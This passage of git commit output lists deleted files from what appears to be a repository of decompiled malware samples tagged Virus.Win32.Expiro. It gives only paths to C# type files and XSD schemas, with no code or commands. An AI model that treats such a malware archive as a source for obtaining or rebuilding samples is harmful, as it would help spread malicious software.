MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOMASK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSPBEGINF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSPINITF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTATFLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTDMSHLFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGMOVE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGOP.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGTY.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTREAM_SEEK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRRET_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_MULTIOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_PARSE_ERROR.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSVGIO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSVUIA_STATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSYSKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagShutdownType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTEXTMETRICA.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTEXTMETRICW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYMED.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYPEFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYPEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagTYSPEC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagUASFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagURLTEMPLATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagURLZONE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagUSERCLASSTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARIANT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVARKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagVIEWSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagXFORMCOORDS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagXMLEMEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_CIMTYPE_ENUMERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEMSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEMSTATUS_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_BACKUP_RESTORE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CHANGE_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_COMPARISON_FLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_COMPILER_OPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CONDITION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_CONNECT_OPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_FLAVOR_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_GENERIC_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_GENUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_INFORMATION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LIMITATION_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LIMITS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_LOCKING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_QUERY_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_REFRESHER_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_SECURITY_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_SHUTDOWN_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_STATUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_TEXT_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_TIMEOUT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WBEM_UNSECAPP_FLAG_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tag_WMI_OBJ_TEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tm.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-identity-2007.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-policy-2007.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-policy.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-securitypolicy-1/2.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-securitypolicy.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-trust-1/3.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/ws-trust.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xenc-schema.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xml.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/xmldsig-core-schema.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/BrowserNavConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/CallMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/CommandStateChangeConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HDC__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HINSTANCE__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/HWND__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IGNOREMIME.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMAGE_AUX_SYMBOL_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMPORT_OBJECT_NAME_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/IMPORT_OBJECT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityApplicationManager.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityHelperForVista.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AppliesToBehaviorDecision.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Asn1Utilities.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AsymmetricCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AsyncParams.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/AuditLog.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BeginSelectCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BigInt.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/BrowserPolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CancelAsyncOperationRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Canonicalizers.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ClientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ClientUIRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CloseCryptoHandleRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CommunicationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Constants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CorruptStoreException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CreateCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CredentialSelector.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CredentialSelectorType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/CustomTokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataAccessException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataBlob.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataRow.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataRowIndexBuffer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DataSource.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DecryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DeleteCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DeleteStoreRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayClaim.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayClaimType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/DisplayToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedData.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedFileStoreHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptedObjectHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EncryptionUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/EndSelectCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExceptionList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExceptionTranslationTable.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExportException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ExportFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FailedToStartupUIException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FileAccessException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FileDataSource.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/FreeIndexList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetBrowserTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCardDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCertificateRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetCryptoTransformRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetFileNameResult.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetImportFileNameRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetImportedCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetIsBrowserClientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetKeyedHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/GetLedgerRequest.cs delete mode 100644 